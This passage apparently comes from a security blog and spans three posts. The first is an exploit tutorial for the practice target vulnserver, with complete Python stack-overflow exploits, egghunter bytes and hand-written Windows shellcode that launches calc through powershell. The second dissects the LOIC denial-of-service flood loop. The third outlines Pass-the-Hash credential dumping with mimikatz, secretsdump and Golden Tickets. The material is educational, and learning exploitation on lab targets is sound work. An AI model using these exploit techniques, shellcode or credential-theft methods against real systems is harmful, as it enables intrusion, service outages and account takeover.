        if module.BaseDllName[6] == "3": // if module.BaseDllName == 'kernel32.dll':
            return module.AddressOfNames // simplified
 
function find_get_proc_address(kernel32_dll_base):
    exportNamePointerTable = kernel32_dll_base.ExportNamePointerTable
    for pointer in exportNamePointerTable: // simplified
        if pointer.name == "GetProcA":
            return pointer.AddressOfFunctions

As soon as the execution of the shellcode is triggered it first has to find all the necessary function addresses to do something useful. NoviceLive’s messagebox shellcode simply opens a messagebox (who would have thought that) so it needs a reference to the corresponding ShowMessageBoxA function. To get this reference it first loads the User32 library (as stated at the bottom of the linked MSDN page) that exports ShowMessageboxA.

Writing Shellcode is quite different from normal programing: You don’t have all the little helpers – like a higher level programming language or a loader that fixes your addresses –  so you have to do all that hand. But that will not stop us!

So let’s start:

  1. As the shellcode is blind in the beginning (in the sense that it does not know anything about the memory layout of the process) it has to obtain some kind of reference. This reference – namely the base address of kernel32 – is extracted from the Thread Environment Block using the loaded modules list (Ldr).
  2. After that all the exported functions of kernel32 are iterated to find the address of GetProcAddressA.
  3. GetProcAddressA is than used to find the memory location of LoadLibraryA
  4. Now the actual shellcode starts: LoadLibraryA is used to ensure that user32 is loaded
  5. GetProcAddressA is then called to obtain the function pointer to MessageBoxA
  6. After manually pushing all the function parameters to the stack MessageBoxA is finally called and a messagebox is shown.
  7. To clean up GetProcAddressA is used again to obtain the pointer for ExitThread, which in turn is then called to exit the current thread.

To test the initially obtain shellcode open the Developer Command Prompt for VS2015 (or whatever version you have installed) and run the build32.cmd from within the messagebox folder (you can download the package with all different shellcodes from here). As shown below you can verify that the shellcode is working by simply running the EXE that was built.

Screen Shot 2016-04-28 at 11.08.21

To finally test the shellcode in the exploit open the previously created EXE within your hex editor of choice (like HxD) and copy the actual shellcode instructions into a text editor (like Notepad++). Then fix it so that it is a valid Python string (using search and replace to replace all spaces with \x should to the trick – don’t forget the first hex char!)

Screen Shot 2016-04-28 at 11.19.34

Then update the exploit with the newly created payload (Attention: payload truncated!):

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
MSGBOX = "\x33\xC9\x64\x8B\x49\x30\x8B ... ";

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = MSGBOX 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Now it’s testing time: Run vulnserver (with or without the debugger) and launch the attack: If everything worked as expected a messagebox should open. (Attention: Sometimes it’s not the front most window!)
Screen Shot 2016-04-28 at 11.29.56

Modifying the Shellcode

In the next step the shellcode will be updated to launch calc instead of showing a boring messagebox. To do so we will use the ShellExecuteA API.

After copying the messagebox example, the first change is to load another library – namely shell32 instead of user32.

Screen Shot 2016-04-28 at 11.43.03

Then use the string_to_push.py script to create the necessary instructions that push the string “Shell32” to the stack. As the length of the string has to be a multiply of 4 a single space has to be added. Then replace the old PUSH commands with the newly created one’s and fix them accordingly by removing the 0x prefix and by appending a h postfix.

Beside that a little trick has to be used to create a valid NULL terminated string out of the PUSH commands that were generated. What needs to be done it that the last character – the space that was added – has to be replaced with a NULL character. However the NULL character can not be used as it would truncate the exploit. To workaround this we use a little math trick: The first push instruction push 2032336ch is changed to push 0132336ch. After that the instruction dec byte ptr [esp + 3h] is added. This instruction decrements the first hex character by one and causes the final value to be 0032336ch. Exactly what we wanted: A NULL terminator!

In the final step the original call to MessageBoxA has to be replaced with a call to ShellExecuteA. Based on the MSDN documentation the following C function call has to be implemented:

ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);

So beginn by removing the original call to MessageBoxA (should be around line 133 to line 155). Then start by using GetProcAddress to request the address of ShellExecuteA:

;; eax = GetProcAddress(eax, "ShellExecuteA")
push edi
	
;; put "A%00 on stack"
xor ecx, ecx
mov cx, 0141h
push ecx
dec byte ptr [esp + 1h]

push 65747563h ;cute
push 6578456ch ;lExe
push 6c656853h ;Shel
push esp
push eax
call esi

Next push all the required strings to the stack and store their address. Again use the string_to_push.py util to create the initial push instruction. Don’t forget to add and fix the required string NULL characters.

;push powershell.exe to the stack
push 01206578h
dec byte ptr [esp + 3h]
push 652e6c6ch
push 65687372h
push 65776f70h
mov edx, esp ; store the address in edx

;push -Command "calc" to the stack
push 0122636ch
dec byte ptr [esp + 3h]
push 61632220h
push 646e616dh
push 6d6f432dh
mov ecx, esp ; store the address in ecx

As now all prerequisite have been met ShellExecuteA can be invoked:

;; Finally call ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);
push edi ; Spacing so that is is easier to debug
push edi

push edi ; IsShown = NULL
push edi ; DefDir = NULL

push ecx ; Parameters
push edx ; Filename

push edi ;Operation = default
push edi ;hwnd = NULL
call eax

After all this hard work it is time to test our shellcode. As discussed before use the build32.cmd to compile the ASM instructions and launch the created EXE. If calc.exe is started then everything is correct. Otherwise I recommend to directly debug the application using Immunity Debugger to check exactly what is going wrong.

Then again open the EXE in a hex editor and copy the shellcode to a text editor. There add the required \x prefixes by using search and replace so that a valid Python string is created. After that add it to the exploit script:

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
RUN_CALC = "\x33\xC9\x64\x8B\x49\..."

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = RUN_CALC 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print ">> Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print ">> Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print ">> Shellcode Padding: "+str(len(EGGHUNTER))
print ">> Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Presumably everything was done correctly the exploit should launch calc.exe:

Screen Shot 2016-04-28 at 12.38.07

Well done: You have reached the end of this very very very long post. I hope you will try to exploit or even already exploited the vulnerability on your own. I at least had a lot of fun while solving the puzzles and additionally learned a lot while doing so!

May 272015
 

Recently our team was tasked with creating a demo to illustrate the effects of Denial of Service (DoS) attacks. As I was particularly interested in how the available attack tools work I studied the sourcecode of one of them – the Low Orbit Ion Cannon. In this post is will cover the surpising simplicity of the implementation. However to get a context let’s start first  with discussing how DoS attacks generally work, illustrated on the basis of the following setup:

dos (1)

In our simple demo network there are only three participants: A central webserver as victim, a legitimate user that wants to connect to the webserver and an attacker. In the beginning the legitimate user can browse the webpage hosted on the webserver smoothly. However as soon as the attacker starts his DoS attack the legitimate user’s requests either take very long to finish or even fail completely. This instability is caused by the attack overloading either the webserver’s connection or the server process itself.

One tool an attacker could use for these kind of attack is the free and open source Low Orbit Ion Cannon. It is a very easy to use application with a nice graphical user interface. The video embedded below contains a short walk though.

Now let’s get our hands dirty: To find out how the application attacks the victim’s server in detail we have to download and analyse the source. Below is a cleaned up and simplified version of the method responsible for carrying out the actual HTTP Denial of Service attack.

byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine));
var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);

while (this.IsFlooding) {
	byte[] recvBuf = new byte[64];
	var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

	socket.Connect(host);
	socket.Send(buf, SocketFlags.None);

	socket.Receive(recvBuf, 64, SocketFlags.None);
}

To my surprise the method was a lot shorter and less complex than I expected. I will now try to walk you trough the functionality so that you also understand what is going on even if you are not a developer .

In the first two lines the application prepares the attack’s underlying HTTP request and sets the target IP address and the target port. Although it’s done in an rather unusual way it’s a legitimate implementation for an application requesting data from an external HTTP service. In the following third line the while command tells the system to repeat all enclosed and indented further commands. Within this section the actual attack is launched. However to do so two more things need to be prepared: At first in line 5 a buffer called recvBuf is created that is used to store the subsequential answer from the victim and in line 6 further connection details like the use of the TCP protocol are specified. Finally in line 8 the network connection to the victim’s server is established and in line 9 the HTTP request that was created in the beginning is sent. The subsequent receive method call in line 10 stores the first 64 byte of the server’s reply in the previously created receive buffer recvBuf. This forces the application to wait for the server to reply before it moves on. Until now we behaved like a normal web browser. However as the last command within the while loop was reached the whole process beginning at line 5 is repeated. Again and again and again …

What that means is we didn’t really use any service and just created unnecessary load on the server and the network connection. As the attack requests are generally repeated as fast as possible and are executed in parallel this load can render services unusable or even bring them down completely. This is especially true for Distributed Denial of Service (DDoS) attacks where many attackers or their bots join forces to attack a target as happend to the Playstation Network in 2014.

To recap: The sourcecode contains no nasty little tricks or algorithms that require any special knowledge. That means you don’t need to be a genius to write an effective and widely used Denial of Service attack tool. For me that is somewhat frightening!

May 122015
 

The first and most important thing you need to know about the Pass the Hash (PtH) attack is, that it is not a single attack but actually a whole group of attacks that should correctly be called Pass the X. In any of these, the attacker obtained some kind of user identifying information (like the plaintext user password, a password hash or a Kerberos ticket) and uses them to impersonate as that user. This post focuses on the NTLM hash and the Kerberos tickets as they are the most interesting one’s from the Pass the X’s point of view. This attack is possible not because of a security vulnerability or design issue but because of the infrastructure necessary to enable single sign on (SSO). Although it can be used on any operating system and any version, Windows networks are the primary target.

At TechEd North America 2014 Mark Russinovich and Nathal Ide gave a great talk on the technical background of Pass the Hash styled attacks. It’s available on Youtube and I really encourage you to watch it.

In the following paragraphs I will try to give an overview about the different Pass the Hash attacks and scenarios. However this is not a tutorial and so I will not document the specific commands. Please see the section “Your Toolbox” for further details, tutorials and the necessary tools.

Where To Obtaining User Identifying Information From?

Before an attacker can start a Pass the X attack he has to obtain something to pass along. There are two ways to do so. Either he gains local administrator rights on a client and dumps the hashes of all currently logged in users from the so called Local Security Authority or he gains access to a Domain Controller and dumps possibly all user hashes from the AD.

Dumping from a Client

Let’s start with the somewhat less severe scenario of a client overtaken by an attacker with access to a local administrator. In Windows the Local Security Authority or lsass.exe is the process responsible for enforcing the security policy on the system. Furthermore it is also responsible for transparently authorizing the users to the services they want to use. For example if a user connects to a file server the system negotiates the protocol to use and the Local Security Authority transparently tries to sign the user in. It supports many different protocols like NTLM, Digest and Kerberos and it can also be extended by plugins.

The important thing is that depending on the protocol, the system has to cache a varied of user identifying data in order to successfully reauthorize the user. For example the Digest module needs to cache the user password in reversible encrypted form. An attacker can use any of this user idenfitiying information for this Pass the X attack.

2015-04-27_16h02_07

With that knowledge any local administrator can dump the memory of the lsass process (with for example mimikatzWCE or Task Manager’s Create Dump File) and thereby obtains the cached user identifying information of all currently signed in users. Depending on the enabled modules this at least reveals some password hashes but it might also already dump their plaintext password.

Dumping from Active Directory

The second way of dumping user identifing information can only be used by an attacker that already gained access to a Domain Controller. There he can dump the LM and/or the NTLM hashes of all users as they are stored in the Active Directory. Again it does not really matter which one he captures as both can be misused.

You may ask why an attacker with Domain Admin access still leverages Pass the Hash styled attacks? Well, it allows him to impersonate as any user on the domain without knowing or resetting the user password. Thereby he can easily access the user’s Exchange and Sharepoint account as well as connect to any file share the user has access to. This approach is especially great when giving presentations to C level executives. They may not care about an attacker being Domain Admin but they will care for sure if it allows them to access their mailbox or calendar.

2015-04-29_09h11_06

As it is a little more complex to dump the hashes out of the Active Directory I will cover this process briefly. Generally there are two steps: At first an attacker creates an offline copy of the registry and the AD. This can be done with the help of ntdsutil and VSS. Then he moves the files off the Domain Controller to his local machine. There he uses a tool like secretsdump to extract the hashes as shown in the picture above.

Using the Hashes

Although you already know that the hashes allow an attacker to impersonate as that owner of the hash, we will now cover this is more detail. If you are interested in a live demonstration I recommend you to watch the first 26 minutes of the talk “Still Passing the Hash 15 Years Later” from Black Hat USA 2012.

As discussed in the beginning the Local Security Authority is responsible for caching the user identifying information. To use the stolen hashes an attacker now simply replaces the user identifying information within the lsass.exe process on his own computer (again with for example mimikatz or WCE) with a stolen one. From the network’s point of view he thereby basically transformed his account to someone else’s. Mark Russinovich and Nathal Ide also talk about this process in their presentation “Pass-the-Hash: How Attackers Spread and How to Stop Them” starting at minute 7:10.

By doing so he also gains the single sign on (SSO) capabilities of the original account because the is what the hashes are intended for. That in turn allows him to use any service and application that builds upon the Windows Integrated Authentication including but not limited to:

  • Microsoft Exchange
  • SMB Filesharing (NTLM authentication over IP, Kerberos authentication over DNS)
  • Microsoft SQL Server
  • Microsoft Navision
  • Microsoft Sharepoint
  • Many business critical web applications
  • Any SAP Application

Again: By replacing the information within the Local Security Authority the attacker changed his identity to someone else’s without knowing the corresponding password. He can use any service the rightful account holder could use as long as it supports single sign on. This also works for accounts that use a two factor authentication like a smartcard as they still rely on the same single sign on infrastructur.

The Golden Ticket

A special case I want to highlight is the Golden Ticket attack. If an attacker obtained the NTLM hash of the KRBTGT domain account he can create a so called Golden Ticket. This is nothing else than a valid self created Kerberos Ticket Granting Ticket (TGT). With that ticket it is not only possible to impersonate as some else but it is also possible to authorise yourself. It is basically an attackers dream. The video below shows that attack in action.

Final Thoughts

For an attacker or pentester Pash the Hash styled attacks are a very valueable attack vector. Virtually all companies are prone to it as single sign on is used by many of the most business critical applications. Furthermore it often allows an attacker to rapidly elevate his priviledges after obtaining initial access to a low profile client.

Although Microsoft already actively participates in the ongoing debate about Pass the Hash it is still a long road before all organisations understand the associated risks. I have commited myself to actively point people to Microsoft’s Pass-the-Hash portal so that the words spreads a little faster.

If you have any questions or additional input please leave a comment below.

Your Toolbox

Finally here is a list of applications and the corresponding documentation for your further reading. All this links really helped me to deeply understand Pass the Hash styled attacks and to write this summary. Hereby I want to thank all the authors for their great job!

Applications

General Documentation

mimikatz Specific Documentation